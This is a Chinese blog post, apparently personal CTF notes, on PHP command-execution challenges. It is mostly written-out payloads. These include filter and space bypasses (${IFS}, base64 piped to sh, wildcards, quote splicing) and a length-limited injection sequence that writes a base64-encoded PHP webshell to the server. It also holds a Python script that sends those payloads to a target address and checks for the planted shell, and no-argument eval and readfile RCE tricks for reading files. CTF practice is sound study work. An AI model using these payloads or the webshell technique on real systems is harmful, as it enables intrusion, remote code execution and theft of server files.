持续创作,加速成长!这是我参与「掘金日新计划 · 6 月更文挑战」的第七天,点击查看活动详情
CTF中很多关于命令执行的题,各种思路真是骚的一批,所以大概记录一下
常见的命令执行函数
system
exec()
shell_exec()
反引号`
常见绕过
绕过空格限制
%09
%20
${IFS}
$IFS$1
<>
<
{cat,flag.php} //用逗号实现了空格功能
限制文件读取
过滤敏感字符
preg_match("/flag/php")
//base64编码+$IFS
?ip=127.0.0.1;echo$IFS$1Y2F0IGZsYWcucGhw|base64$IFS$1-d|sh
//变量拼接
?ip=127.0.0.1;a=g;cat$IFS$1fla$a.php
//反引号
?ip=127.0.0.1;a=g;cat$IFS$1`ls`
//贪婪匹配
?ip=127.0.0.1;cat fl*
//单引号绕过
?ip=127.0.0.1;cat fl'a'g
?ip=127.0.0.1;cat fl?g
?ip=127.0.0.1;cat fl\ag
截断符号
通常使用的符号有:
|
&
||
&&
; //使用分号可以同时执行两条命令
限制命令长度
限制了执行命令的长度,也就是CTF中出现比较多的五字符、七字符等题目,通过绕过长度限制达到执行命令的目的
前置知识
>创建文件
ls -t根据时间从晚到早输出
sh 将文件里面的东西当作命令执行
反斜杠\可以命令拼接
dir不换行输入到文件中
${IFS}代替空格
payload
#ls -th >f写入0文件,后期传入payload时,通过sh执行0文件即可生成f文件,sh再去执行f文件即可得到一句话木马
>dir
>f\>
>ht-
>sl
*>v
>rev
*v>0
#使用base64编码的一句话写入1.php文件,其中${IFS}替换空格
>a
>hp
>p\\
>1.\\
>\>\\
>-d\\
>\ \\
>64\\
>se\\
>ba\\
>\|\\
>7\\
>Sk\\
>X\\
>x\\
>Fs\\
>FV\\
>d\\
>X0\\
>k\\
>g\\
>bC\\
>h\\
>XZ\\
>gZ\\
>A\\
>aH\\
>w\\
>D9\\
>P\\
>S}\\
>IF\\
>{\\
>\$\\
>o\\
>ch\\
>e\\
#ls先执行0文件(ls -th >f),得到f文件,sh再去执行f文件就可以得到1.php
sh 0
sh f
#!/usr/bin/python
# -*- coding: UTF-8 -*-
import requests
url = "http://192.168.0.132:1000/?c={0}"
print("[+]start attack!!!")
with open("payload.txt", "r") as f:
for i in f:
print("[*]" + url.format(i.strip()))
requests.get(url.format(i.strip()))
# 检查是否攻击成功
test = requests.get("http://192.168.0.132:1000/1.php")
if test.status_code == requests.codes.ok:
print("[*]Attack success!!!")
无参RCE
<?php
if(';' === preg_replace('/[^\W]+\((?R)?\)/', '', $_GET['code'])) {
eval($_GET['code']);
} else {
show_source(__FILE__);
}
?>
一般为这种,也就是要求我们传参的内容只能为不带参数的函数,就是不能为a('1')形式 常规的POST、GET方式可以传参,http headers也可以传参,header头里面最长使用的是cookie值传参
session_id
session_id可以获取/设置当前会话中的ID
session_id ([ string $id ] ) : string
那么就可以用这个函数设置cookie中的sessionid了,但是其存在着限制,文件会话管理器仅允许会话 ID 中使用以下字符:a-z A-Z 0-9 , (逗号)和 - (减号)
我们使用十六进制将参数传到cookie中去,再用hex2bin()函数转换过来,因为session_id必须要开启session才可以,所以最终payload为:code=eval(hex2bin(session_id(session_start())));
POST/GET
get_defined_vars(void):此函数返回一个包含所有已定义变量列表的多维数组,这些变量包括环境变量、服务器变量和用户定义的变量。
可以看到a参数在里面,使用current函数提取出来
可以看到a在最后面,再使用end函数就可以只显示a了
?code=eval(end(current(get_defined_vars())));&a=phpinfo();
随机读取文件
scandir():列出目录下的所有文件 scandir(.):列出当前目录下的文件,但是不能带参数,使用current(localeconv())表示读取当前目录的文件 localeconv():函数返回一包含本地数字及货币格式信息的数组,其中数组的第一项就是"."
?code=print_r(scandir(current(localeconv())));
array_flip():反转/交换数组中的键名和对应关联的键值。
使用此函数读取就可以获得flag.php
?code=print_r(array_flip(scandir(current(localeconv()))));
array_rand():随机获取文件
?code=print_r(array_rand(array_flip(scandir(current(localeconv())))));
readfile():读取文件
?code=readfile(array_rand(array_flip(scandir(current(localeconv())))));
参考: cloud.tencent.com/developer/a… blog.csdn.net/silence1_/a…